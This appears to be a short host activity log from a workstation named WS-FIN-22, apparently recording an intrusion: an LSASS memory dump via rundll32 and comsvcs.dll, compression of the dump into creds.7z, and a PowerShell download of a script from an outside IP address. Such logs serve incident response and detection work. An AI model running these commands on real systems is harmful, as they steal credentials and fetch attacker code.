[2026-04-02T02:10:55Z] WS-FIN-22 rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump
[2026-04-02T02:11:02Z] WS-FIN-22 7z.exe a creds.7z lsass.dmp
[2026-04-02T02:12:15Z] WS-FIN-22 powershell Invoke-WebRequest hxxps://198.51.100.210/u.ps1